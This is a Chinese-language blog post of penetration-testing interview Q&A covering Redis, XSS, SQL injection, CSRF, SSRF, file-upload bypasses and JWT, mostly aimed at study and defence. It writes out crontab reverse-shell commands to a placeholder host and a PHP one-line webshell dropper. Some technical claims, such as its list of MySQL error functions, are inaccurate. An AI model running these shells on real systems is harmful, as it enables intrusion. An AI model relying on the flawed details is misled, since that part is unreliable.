讲讲你的渗透测试流程?

  • 收集情报:获取关于目标系统和应用程序的信息,包括系统架构、业务流程、网络拓扑结构、IP地址、端口号、协议等。
  • 初步扫描:使用自动化工具扫描目标系统,发现目标系统中存在的漏洞、弱口令等安全问题。
  • 漏洞探测:使用专业工具和手工方法对目标系统进行深入探测,发现存在的漏洞和薄弱点。
  • 漏洞利用:模拟黑客攻击,使用漏洞利用工具和技术,尝试获取敏感信息、升级权限、篡改数据等。
  • 数据分析:对攻击获取的数据进行分析,包括密码、文件、数据库等信息。
  • 编写报告:对攻击的过程、漏洞、影响、修复建议等内容进行总结和报告撰写。

什么类型未授权漏洞挖的多?

任选以下一个熟悉的讲讲即可

  • 文件/目录未授权访问:攻击者可以通过直接访问文件/目录、使用默认的凭据、绕过访问控制机制等方式,访问或操作不应该被其访问或操作的文件/目录,如访问敏感配置文件、访问未授权的文件目录等。

  • 数据库未授权访问:攻击者可以通过直接连接数据库、使用默认的凭据、绕过访问控制机制等方式,访问或操作不应该被其访问或操作的数据库,如查询、修改、删除数据等。

  • 系统未授权访问:攻击者可以通过直接登录系统、使用默认的凭据、绕过访问控制机制等方式,访问或操作不应该被其访问或操作的系统资源,如读取、修改、删除系统文件、进程等。

  • API 未授权访问:攻击者可以通过调用 API 接口,使用默认的凭据、绕过访问控制机制等方式,访问或操作不应该被其访问或操作的 API 资源,如获取用户敏感信息、修改用户信息等。

Redis 未授权

Redis 未授权有哪些利用方式?

  • 直接访问:攻击者可以直接使用 Redis 客户端工具(如 redis-cli)或自己编写的程序,向未授权的 Redis 服务器发送命令,获取或修改 Redis 服务器上的数据。
  • 未授权访问可导致敏感信息泄露:如果 Redis 服务器中存储了敏感信息(如密码、秘钥等),攻击者可以通过未授权访问漏洞获取这些信息,从而进一步攻击目标系统。
  • ssh 无密码登录:攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的 ssh 公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用 ssh 服务登录目标服务器。
  • RCE 漏洞利用:Redis 服务器支持的 eval 命令可以执行 Lua 脚本,如果攻击者能够通过 Redis 未授权访问漏洞注入自己的 Lua 脚本,就可以实现远程命令执行(RCE)。
  • 跨站请求伪造(CSRF)利用:Redis 服务器支持的 flushall 和 flushdb 命令可以清空所有数据库或某个数据库的数据,如果攻击者能够利用 CSRF 漏洞,向受害者的 Redis 服务器发送这些命令,就可以造成严重的后果。

Redis 写计划任务centos和ubuntu下写计划任务有什么区别?

centos 的计划任务可直接通过/bin/bash反弹 shell:set x “\n* * * * * /bin/bash -i > /dev/tcp/x.x.x.x/6666 0<&1 2>&1\n”

ubuntu 的计划任务默认使用 /bin/dash 执行脚本,若直接用 /bin/bash 则无法反弹 shell,解决方法有两种:

  • 直接在 sh 下执行 bash -c*/1 * * * * bash -c "bash -i >&/dev/tcp/x.x.x.x/6666 0>&1"
  • 修改 /bin/sh 指向由 /bin/dash 改为 /bin/bashln -s -f bash /bin/sh,通过ls -al /bin/sh查看修改结果,改好之后即可在计划任务中使用bash -i

Redis 未授权加固方案

为了防止 Redis 未授权访问漏洞的发生,可以采取以下措施:

  • 设置密码:在 Redis 服务器上设置密码,以防止未授权访问。
  • 配置网络访问控制:通过配置防火墙、访问控制列表(ACL)等方式,限制只有授权的 IP 地址或主机能够访问 Redis 服务器。
  • 关闭不必要的服务:如果 Redis 服务器上只用于缓存数据,建议关闭不必要的服务(如HTTP API)以减少攻击面。
  • 及时升级补丁:定期更新 Redis 版本,及时安装补丁以避免已知漏洞的利用。

XSS

XSS原理

跨站脚本攻击(Cross-Site Scripting,XSS)是一种 Web 安全漏洞,攻击者通过在 Web 应用程序中注入恶意脚本来攻击其他用户。其基本原理如下:

  1. 攻击者在 Web 应用程序中注入恶意脚本代码,通常是在输入框、评论区、搜索框等用户可以输入数据的地方。
  2. 当其他用户在使用该 Web 应用程序时,这些恶意脚本会被执行,从而导致攻击者能够获取用户的敏感信息或控制用户的帐户。
  3. 这些恶意脚本可以使用各种技术,例如 JavaScript、HTML、Flash 或其他 Web 编程语言来实现,攻击者可以利用这些脚本执行重定向、窃取 cookie、模拟用户操作等行为。

简言之:攻击者输入恶意的 js 代码,由于开发未对输入进行过滤,未在数据输出时进行转义,导致恶意 js 代码在客户端上执行。需要强调的是,XSS 不仅仅限于 JavaScript,还包括 flash 等其它脚本语言。

XSS类型

XSS 可以分为以下几种类型:

  • 反射型 XSS:攻击者将恶意脚本注入到 URL 中,当用户单击恶意链接时,脚本就会被执行,从而导致攻击。
  • 存储型 XSS:攻击者将恶意脚本存储在 Web 应用程序的数据库或文件系统中,当其他用户访问该页面时,脚本就会被执行,从而导致攻击。
  • DOM-based XSS:攻击者利用 Web 应用程序的客户端脚本,如 JavaScript,通过修改 DOM(文档对象模型)来执行攻击。

XSS挖掘技巧

简言之:寻找可控输出点、fuzzing、配合 burp xss 插件或自建 xss 平台进行验证

  • 枚举参数:在 URL 中枚举所有可能的参数值,例如数字、字符串、特殊字符等,观察是否存在反射型XSS漏洞。可以使用工具自动化枚举,例如Burp Suite、OWASP ZAP等。

  • Fuzzing:使用字典文件、随机字符或自定义 payload 对输入框、提交表单等进行大量测试,观察是否存在反射型或存储型 XSS 漏洞。可以使用工具自动化 fuzzing,例如 wfuzz、ffuf 等。

  • 主动扫描:使用工具对目标网站进行主动扫描,例如使用 Burp Suite、AWVS 等对目标网站进行自动化扫描,以发现存在的漏洞。

  • 代码审计:对目标网站的 JavaScript 代码进行审计,查找是否存在漏洞,例如使用 DOMPurify 等工具进行代码审计。

  • CSP 绕过:如果目标网站使用 CSP,可以使用各种技巧绕过 CSP,例如使用非标准字符集、绕过限制的 JavaScript 等。

  • 浏览器漏洞:利用浏览器的漏洞进行攻击,例如通过利用浏览器的 XSS 过滤器绕过漏洞,或使用浏览器的存储机制进行攻击。

  • 负载均衡器绕过:如果目标网站使用负载均衡器,则可以通过修改请求头或 cookie 等方式绕过负载均衡器,观察是否存在 XSS 漏洞。

XSS一般存在哪些点

XSS 漏洞通常存在于 Web 应用程序中动态生成的 HTML、JavaScript 和其他前端代码中。以下是一些常见的位置:

  • 参数输入:输入框、下拉框、单选框、多选框等表单控件中的参数。
  • URL参数:URL 参数包含在 URL 的查询字符串中,可以被恶意用户篡改,构造特定的 URL 参数触发 XSS 漏洞。
  • HTTP头:HTTP 头中的参数也可能包含可注入的代码,例如 User-Agent、Referer 等。
  • Cookie:如果 Web 应用程序将某些用户数据存储在 Cookie 中,这些 Cookie 也可能包含 XSS 漏洞。
  • 存储数据:XSS 漏洞还可能存在于 Web 应用程序中存储的数据中,例如留言板、博客、评论等。

在挖掘 XSS 漏洞时,需要对 Web 应用程序中所有可能存在 XSS 漏洞的位置进行全面的测试,以保证漏洞被及时发现和修复。同时,需要注意 XSS 漏洞的分类,包括反射型 XSS、存储型 XSS 和 DOM 型 XSS,针对不同类型的漏洞采用不同的测试方法和加固措施。

简言之:
留言板、登录框、搜索框、文件上传(文件名为 xss payload)
见框就插

XSS绕过方式

XSS 绕过的方法非常多,攻击者可以利用多种技术手段,绕过 Web 应用程序的防御机制,成功注入恶意脚本代码。以下是一些常见的 XSS 绕过方式:

  • 绕过过滤器:攻击者可以使用各种技巧绕过 Web 应用程序的过滤器,例如使用大小写混合的代码、使用特殊字符、使用 HTML 注释标记、使用 JavaScript 十六进制编码等。可以使用各种工具自动生成 payload,例如 XSStrike、BeEF 等。

  • 绕过白名单:Web 应用程序可能会对输入的数据进行白名单过滤,只允许特定的标签和属性通过。攻击者可以使用不常见的标签和属性,例如 HTML5 的新标签,或使用自定义的标签和属性。

  • 绕过编码:Web 应用程序可能会对输入的数据进行编码,例如将尖括号、引号等字符编码成 HTML 实体,攻击者可以使用绕过编码的技巧,例如使用 url 编码、unicode 编码、使用 JavaScript 的 escape 和 unescape 函数等。

  • 利用 DOM:攻击者可以使用 DOM 操作来绕过 XSS 过滤器,例如使用 innerHTML、document.write、eval 等函数来执行恶意代码。

  • 利用浏览器漏洞:攻击者可以利用浏览器的漏洞,例如利用浏览器的 XSS 过滤器漏洞、利用浏览器的跨站点脚本能力等。

  • 利用 iframe:攻击者可以利用 iframe 标签和其他技术,例如 window.location.replace 函数、document.location.href 属性等来构造 XSS 攻击。

以上只是一部分常见的 XSS 绕过方式,攻击者可以结合不同的技术手段,构造更复杂的攻击 payload,绕过 Web 应用程序的防御机制。因此,对于 Web 应用程序开发者和安全测试人员来说,需要时刻关注新的 XSS 绕过技术,及时进行修复和防御。

常见绕过手段如下:双写、混写、空属性、编码(url 编码、Unicode 编码、base64 编码等)、函数替换、实体编码、异型标签等

XSS 加固方法

  • 输入验证和过滤:Web 应用程序应该对所有的用户输入进行严格的输入验证和过滤,包括表单输入、URL 参数、HTTP 请求头等,以防止恶意脚本的注入。可以使用 Web 应用程序防火墙(WAF)或其他安全组件来检测并过滤恶意输入。

  • 使用 HTML 编码来转义输出:Web 应用程序应该将所有的用户输入进行 HTML 编码,以转义特殊字符,例如“<”、“>”、“&”等,从而防止恶意脚本的注入。这样,即使恶意脚本被注入,也无法被浏览器解释执行。

  • 设置 HttpOnly 属性:Web 应用程序应该在设置 cookie 时使用 HttpOnly 属性,以限制 cookie 的访问范围。这样,即使恶意脚本成功注入,也无法窃取 cookie,从而保护用户的登录凭据和其他敏感信息。

  • Content Security Policy (CSP):CSP 是一种浏览器安全策略,可以限制 Web 应用程序中可以加载的资源类型和来源。Web 开发人员可以使用 CSP 来限制 JavaScript 脚本的来源,以防止 XSS 攻击。CSP 还可以限制其他类型的资源,如样式表、图像、音频、视频等,以增强 Web 应用程序的安全性。

  • HTTPS 协议:使用 HTTPS 协议来加密数据传输,从而防止中间人攻击和数据窃听。这样,即使恶意脚本成功注入,也无法窃取传输的敏感信息。

需要注意的是,这些加固方法并不是绝对安全的,攻击者可以使用各种技术来绕过这些安全措施,因此 Web 应用程序的安全加固是一个持续的过程,需要不断更新和完善安全策略。这本身也是一个红蓝对抗的过程。

常用方案简言之:输入过滤输出转义,具体业务具体分析。

SQL注入

SQL注入原理

SQL注入的原理是攻击者利用 Web 应用程序的漏洞,将恶意的 SQL 语句注入到 Web 应用程序的查询语句中。Web 应用程序通常会将用户输入的数据拼接到 SQL 查询语句中,以实现数据的查询、更新等操作。如果 Web 应用程序未对用户输入的数据进行充分验证、过滤或转义,攻击者就可以在用户输入的数据中注入恶意的 SQL 语句,从而实现对数据库的攻击。

SQL注入分类依据

根据攻击的数据类型:数字型、字符型

根据攻击的手段,SQL 注入可以分为:

  • 基于错误的注入:利用错误的 SQL 语句来探测数据库,获取有关数据库的信息。
  • 联合查询注入:利用 UNION 语句来合并查询结果,进而获取数据库的信息。
  • 盲注:攻击者没有真正的输出,只能通过不断地猜测和推断,利用错误的 SQL 语句来探测数据库。
  • 基于时间的注入:在 SQL 语句中插入等待函数来延迟查询的执行时间,进而推断出数据库的信息。
  • 堆叠注入:在单个 SQL 查询中插入多个查询语句来绕过限制。
  • 二次注入:在注入的数据中嵌入恶意代码(可以是 sql 语句或者 xss 等等),当用户再次访问该页面时,该代码再次被执行从而绕过防护机制。
  • 宽字节注入:这种注入利用的是应用程序在处理输入参数时,没有对字符编码进行适当的处理,从而使得攻击者可以通过插入特殊的宽字节来绕过应用程序的安全检查。例如,在使用双字节编码的系统中,通过在输入参数中插入特殊的宽字节(比如 UTF-8 中的 %bf%27)来绕过应用程序的安全检查,从而执行恶意代码。

根据攻击的目标,SQL注入可以分为:

  • 数据库注入:攻击者直接对数据库进行注入攻击。
  • 应用程序注入:攻击者利用应用程序中的漏洞,对应用程序进行注入攻击。

根据攻击的方式,SQL注入可以分为:

  • 基于表单的注入:攻击者利用表单提交的数据进行注入攻击。
  • 基于 Cookie 的注入:攻击者利用 Cookie 中的数据进行注入攻击。
  • 基于 HTTP 头的注入:攻击者利用 HTTP 头中的数据进行注入攻击。

根据攻击的效果:

  • 显错注入
  • 联合注入
  • 布尔注入(属于盲注的子类)
  • 延时注入(属于盲注的子类)
  • 带外注入(属于盲注的子类)
  • 宽字节注入
  • 堆叠注入
  • 二次注入

堆叠注入与二次注入的区别?

堆叠注入(Stacked SQL Injection)和二次注入(Second-order SQL Injection)是两种不同的 SQL 注入攻击类型,它们有一些区别。

堆叠注入是一种利用应用程序在执行多条 SQL 语句时没有适当的处理分隔符的情况,从而使得攻击者可以在一个输入参数中执行多条 SQL 语句的攻击。攻击者可以在输入参数中插入多个 SQL 语句,并使用分号或其他分隔符隔开,使得最终的 SQL 语句可以执行多个操作。堆叠注入通常需要应用程序在执行 SQL 语句时使用的是一些支持多条 SQL 语句执行的函数,如mysqli_multi_query函数。攻击者通过在输入参数中构造多条 SQL 语句,从而实现对数据库的攻击。

二次注入是一种攻击方式,攻击者通过在第一次注入中注入的数据中嵌入恶意代码,等到这些数据被应用程序处理后再进行第二次注入,从而实现对数据库的攻击。二次注入通常是在应用程序中使用了一些存储过程或者触发器等技术的情况下出现的。攻击者可以在第一次注入中注入的数据中嵌入触发器或者存储过程等代码,在应用程序处理这些数据时触发这些代码,从而实现对数据库的攻击。

因此,堆叠注入和二次注入是两种不同的 SQL 注入攻击类型,它们的攻击方式和攻击目的都有所不同,需要开发者和管理员在应用程序的设计和维护过程中加以区分和防范。

SQL注入有哪些危害?

  • 数据泄露:攻击者可以通过注入 SQL 语句获取数据库中的敏感数据,如用户名、密码、信用卡号、社会安全号码等。
  • 数据篡改:攻击者可以通过注入 SQL 语句修改数据库中的数据,如删除、修改、添加数据,破坏数据的完整性和可靠性。
  • 拒绝服务:攻击者可以通过注入大量的 SQL 语句,消耗服务器资源,导致服务器性能下降或者崩溃,从而使得正常用户无法使用服务。
  • 提权:攻击者可以通过注入 SQL 语句,获取管理员账号或者其他高权限账号的凭证,从而进一步控制服务器或者整个应用程序。
  • 网站钓鱼:攻击者可以通过注入 SQL 语句,将恶意的网站链接或者恶意的代码注入到网站中,从而欺骗用户进行访问或者下载恶意代码。

简言之:数据库信息泄露、网页信息篡改、网页挂马、恶意操作(清空数据库、修改管理员账号密码)、安装后门(利用数据库部分函数可以执行系统命令的特性给系统安装后门程序)

SQL注入mysql报错函数有哪些

在 MySQL 数据库中,常见的 SQL 注入报错函数包括:

  • substring():用于返回字符串的子串,当传入的参数不合法时,MySQL 会返回错误信息。
  • length():用于返回字符串的长度,当传入的参数不合法时,MySQL 会返回错误信息。
  • version():用于返回 MySQL 数据库的版本信息,当传入的参数不合法时,MySQL 会返回错误信息。
  • concat():用于连接两个或多个字符串,当传入的参数不合法时,MySQL 会返回错误信息。
  • sleep():用于使数据库暂停执行,当传入的参数不合法时,MySQL 会返回错误信息。
  • benchmark():用于测试查询语句的性能,当传入的参数不合法时,MySQL 会返回错误信息。

sqlmap --os-shell 原理?

https://www.cnblogs.com/Xiaoming0/p/13951894.html

针对 mssql --os-shell 主要是利用xp_cmdshell扩展进行命令执行。
必要条件:

  • 数据库支持外连
  • 数据库权限为SA权限

针对 mysql --os-shell 主要利用的原理是通过 udf 执行命令
必要条件:

  • 数据库支持外连
  • Secure_file_priv参数为空或者为指定路径
  • 对mysql目录存在写入权限
  • 针对版本大于5.1,需要存在/lib/plugin目录

SQL注入写webshell需要哪些条件?

  • 网站可访问路径的绝对路径
  • secure_file_priv 的值非 NULL 或为空或包含了导出的绝对路径
  • mysql 服务有对网站可访问路径的写权限
  • mysql 连接用户有 FILE 权限/ROOT 用户或 ROOT 权限
  • GPC 关闭,若开启会对闭合用的引号转义导致语句无法正常执行

SQL注入怎么防御?

  • 过滤
  • 禁止回显报错信息
  • 严格控制 sql 权限
  • 数据加密存储
  • 预编译输入

mysql时间盲注会用到哪些函数?

sleep()和 benchmark()

benchmark有几个参数,分别是什么,有什么作用,这个函数怎么使用?

benchmark 是 Mysql 的一个内置函数,其作用是来测试一些函数的执行速度。benchmark()中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式。

执行不同次数耗费的执行时间不同,使用方式如下:

mysql> select BENCHMARK(10000,md5('a'));
+---------------------------+
| BENCHMARK(10000,md5('a')) |
+---------------------------+
|                         0 |
+---------------------------+
1 row in set (0.00 sec)

mysql> select BENCHMARK(1000000,md5('a'));
+-----------------------------+
| BENCHMARK(1000000,md5('a')) |
+-----------------------------+
|                           0 |
+-----------------------------+
1 row in set (0.33 sec)

mysql> select BENCHMARK(10000000,md5('a'));
+------------------------------+
| BENCHMARK(10000000,md5('a')) |
+------------------------------+
|                            0 |
+------------------------------+
1 row in set (2.93 sec)

sql注入绕过方式有了解吗?

  • 大小写混写
  • 双写
  • 带外注入 dnslog
  • 宽字节 %DF
  • 空字节 %00
  • 空格、换行、制表符(\r \n \t)
  • 内联注释
  • 编码(base64编码、url编码、ascii编码等)

sql注入一般使用哪些编码?

url编码、ascii编码,URL 编码的最基本表示方式是使用问题字符的十六进制 ASCII 码来替换它们,并在 ASCII 码前加%。例如,单引号字符的 ASCII 码为0x27,其 URL 编码的表示方式为%27

sql注入的修复加固?

代码层最佳防御 sql 漏洞方案:使用预编译sql语句查询和绑定变量。
(1)使用预编译语句,使用PDO需要注意不要将变量直接拼接到PDO语句中。所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效的防止SQL注入攻击。
(2)对进入数据库的特殊字符(’”<>&*;等)进行转义处理,或编码转换。
(3)确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为int型。
(4)数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句无法正确执行。
(5)网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。
(6)严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。
(7)避免网站显示SQL错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。
(8)过滤危险字符,例如:采用正则表达式匹配union、sleep、and、select、load_file等关键字,如果匹配到则终止运行。

CSRF

CSRF 漏洞有了解吗?

CSRF(Cross-Site Request Forgery)跨站请求伪造,是一种劫持受信任用户向服务器发送非预期请求的攻击方式,与 XSS 相似,但是原理完全不同。

  • 简言之:
    CSRF 漏洞原理是攻击者利用受害者在已登录的情况下的身份凭证来冒充受害者,从而执行恶意操作。

  • 细说:
    CSRF 漏洞利用用户已经通过认证的身份,在用户毫不知情的情况下,以用户身份完成非预期的操作,原因是攻击者构造了跨站请求,在用户在不知情的情况下提交了被构造的请求。

CSRF漏洞利用过程?

攻击者通过伪造特殊的请求,然后欺骗目标用户进行点击,一旦目标点击了这个请求,就完成了攻击。

CSRF防御?

CSRF 比 XSS 更隐蔽且更难防御,攻击面主要集中在客户端,防御主要在服务端。

  1. 尽量使用 POST 请求
  2. 加入验证码
  3. 验证 Referer
  4. 使用 Anti CSRF Token

SSRF

SSRF 支持哪些协议,分别是什么作用

SSRF(Server-Side Request Forgery,服务器端请求伪造)攻击是指攻击者通过构造恶意请求,欺骗服务器端应用发起请求,从而实现访问内部系统、执行命令等攻击目的。

SSRF 支持的协议较为丰富,主要包括以下几种:

  • HTTP/HTTPS:用于访问 Web 网站和 Web API,可以获取网站内容、执行网站操作等。
  • FTP:用于文件传输,可以访问 FTP 服务器上的文件、上传文件等。
  • SMTP:用于发送电子邮件,可以发送垃圾邮件、进行钓鱼等攻击。
  • DNS:用于解析域名,可以将域名解析到攻击者控制的恶意 IP 地址上,进行中间人攻击等。
  • Telnet/RDP/SSH:用于远程登录,可以通过 SSH 或 Telnet 协议连接远程主机,执行命令等。
  • File:用于访问本地文件,可以读取服务器上的文件、上传文件等。
  • gopher:用于访问 Gopher 协议,可以访问 Gopher 服务器上的资源。
  • Redis:用于访问 Redis 数据库,可以通过 Redis 命令执行任意命令。

需要注意的是,SSRF 攻击的危害较大,能够直接导致服务器被入侵、敏感数据泄露等安全问题,因此需要采取一系列的安全措施,包括限制服务器访问权限、禁止访问内部系统、使用白名单等,以避免 SSRF 攻击。

文件上传漏洞

文件上传有哪些绕过waf的方式

  1. 伪造文件类型:攻击者可以修改上传文件的扩展名或 MIME 类型,以绕过WAF的文件类型检测。例如,攻击者可以将恶意的 PHP 代码文件伪装成一个常见的图片文件(如 JPEG 或 PNG 文件),然后将其上传到服务器上。

  2. 文件名编码:攻击者可以使用各种编码技术来修改上传文件的文件名,以绕过WAF的文件名检测。例如,攻击者可以使用 URL 编码或 Unicode 编码来隐藏文件名中的恶意字符。

  3. 分片上传:攻击者可以使用分片上传技术来绕过WAF的文件大小限制。这种方法将文件分成多个小块进行上传,每个小块都可以绕过WAF的检测。

  4. 换行符绕过:攻击者可以在上传文件的 HTTP 请求中使用换行符绕过WAF的文件类型检测和文件名检测。例如,攻击者可以在文件名后面添加额外的换行符,以隐藏文件类型或绕过文件名检测。

  5. 绕过客户端验证:一些应用程序使用 JavaScript 等技术在客户端对上传的文件进行验证。攻击者可以通过禁用客户端脚本或修改客户端脚本来绕过这种验证,从而上传恶意文件。

  6. 条件竞争:一些服务商将上传的文件放入沙箱进行运行,检测文件行为,看是否存在异常操作,若存在则删除。这种时候可以考虑利用条件竞争,通过上传一个内容为生成一句话木马的脚本,由于服务器检测出文件为恶意文件并删除存在极短的时间差,利用burpsuite或其他工具不断的上传和访问该文件,若是竞争成功,则会生成一句话木马从而躲避了服务器的检测。
    示例代码:

<?php
$f=fopen("info.php", "w");
fputs($f, '<?php @eval($_POST["x"]); ?>');
?>

端口相关问题

常见的一些端口

  • 21:FTP 服务端口,可以用于上传/下载文件,执行命令等。
  • 22:SSH 服务端口,可以用于远程登录,执行命令等。
  • 23:Telnet 服务端口,可以用于远程登录,执行命令等。
  • 25:SMTP 服务端口,可以用于发送电子邮件,进行垃圾邮件或钓鱼等攻击。
  • 53:DNS 服务端口,可以用于 DNS 解析,进行 DNS 欺骗等攻击。
  • 80/443:HTTP/HTTPS 服务端口,可以用于 Web 应用程序攻击,如 SQL 注入、XSS 攻击等。
  • 110:POP3 服务端口,可以用于获取邮件,窃取敏感信息等。
  • 139/445:SMB 服务端口,可以用于获取文件共享、执行命令等。
  • 1433:SQL Server 数据库端口,可以用于 SQL 注入等攻击。
  • 1434:SQL Server 数据库监听端口号,可能存在攻击漏洞。
  • 1521:Oracle 数据库监听端口号,可能存在攻击漏洞。
  • 3306:MySQL 数据库端口号,可能存在攻击漏洞。
  • 3389:远程桌面协议 (RDP) 端口号,可以用于远程登录和执行命令等攻击。
  • 5432:PostgreSQL 数据库端口号,可能存在攻击漏洞。
  • 5900:VNC 远程桌面协议端口号,可以用于远程登录和执行命令等攻击。
  • 6379:Redis 数据库端口号,可能存在攻击漏洞。
  • 7001/7002:Weblogic 应用服务器端口号,可能存在攻击漏洞。
  • 27017:MongoDB 数据库默认端口号

oracle,mysql默认端口

  • oracle 1521
  • mysql 3306

JWT

jwt有了解吗?

JWT(JSON Web Token)是一种开放标准,用于在网络应用间传递信息的简洁、自包含的方式。它是一种安全的认证和授权机制,常被用于在客户端和服务器之间进行安全通信。

jwt结构是什么样的?

JWT 是基于 JSON 格式的数据结构,由三部分组成:头部(Header)、载荷(Payload)和签名(Signature)。头部包含了用于指定 JWT 类型以及签名算法等信息,载荷包含了实际传递的数据,例如用户 ID、过期时间等信息,签名则是对头部和载荷的内容进行签名得到的数据,用于保证 JWT 的完整性和安全性。

jwt可能会有哪些漏洞?

JWT 作为一种安全的认证和授权机制,具有一些潜在的安全风险和漏洞,以下是一些常见的漏洞:

  • 签名算法被篡改:JWT 的安全性取决于签名的安全性,如果攻击者能够篡改签名算法,可能会绕过签名验证,从而实现伪造 JWT 等攻击。
  • 密钥被泄露:JWT 的签名需要使用一个密钥,如果密钥被泄露,攻击者就可以利用泄露的密钥来伪造 JWT 或篡改 JWT 的内容。
  • CSRF 攻击:如果网站没有采取有效的 CSRF 防御措施,攻击者可能会利用 CSRF 攻击来伪造请求,从而利用 JWT 进行授权或者认证。
  • JWT 的过期时间被绕过:JWT 通常会设置一个过期时间,以确保其不会永久有效。但如果攻击者能够绕过 JWT 过期时间的检查,就可能会利用伪造的 JWT 进行攻击。
  • 数据泄露:如果 JWT 中包含敏感信息,例如用户密码、私人信息等,如果 JWT 被攻击者窃取,就可能会泄露这些敏感信息。
  • JWT 伪造:如果攻击者能够伪造 JWT,就可能会利用伪造的 JWT 进行授权或认证等攻击。
文章作者: z0sen
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 z0sen's Blog
默认分类 Interview
喜欢就支持一下吧